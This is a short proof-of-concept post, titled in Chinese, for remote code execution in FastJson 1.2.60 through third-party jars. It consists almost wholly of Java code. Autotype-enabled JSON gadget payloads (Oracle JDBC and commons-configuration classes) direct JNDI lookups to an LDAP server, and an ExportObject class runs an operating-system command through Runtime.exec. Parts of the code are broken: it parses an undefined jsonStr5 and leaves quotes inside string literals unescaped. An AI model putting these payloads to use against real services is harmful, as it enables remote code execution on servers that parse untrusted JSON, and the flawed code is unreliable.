FastJson 1.2.60远程代码执行漏洞(From第三方jar包)

fastjson-1.2.60.jarcommons-configuration-1.4.jarojdbc14-10.2.0.2.0.jarjavax.resource-api-1.7.1.jar

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.ParserConfig;
public class FastJsonTest {    public static void main(String[] args){
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String jsonStr1 ="{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"ldap://127.0.0.1:1389/ExportObject"}";
        String jsonStr2 = "{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://127.0.0.1:1389/ExportObject"}";
        JSONObject json = JSON.parseObject(jsonStr5);        json.toJSONString();    }}

import java.io.BufferedReader;import java.io.InputStreamReader;
public class ExportObject {    public ExportObject() throws Exception {        Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));        StringBuffer sb = new StringBuffer();
        String line;        while((line = br.readLine()) != null) {            sb.append(line).append("n");        }
        String result = sb.toString();        Exception e = new Exception(result);        throw e;    }
    public static void main(String[] args) throws Exception {    }}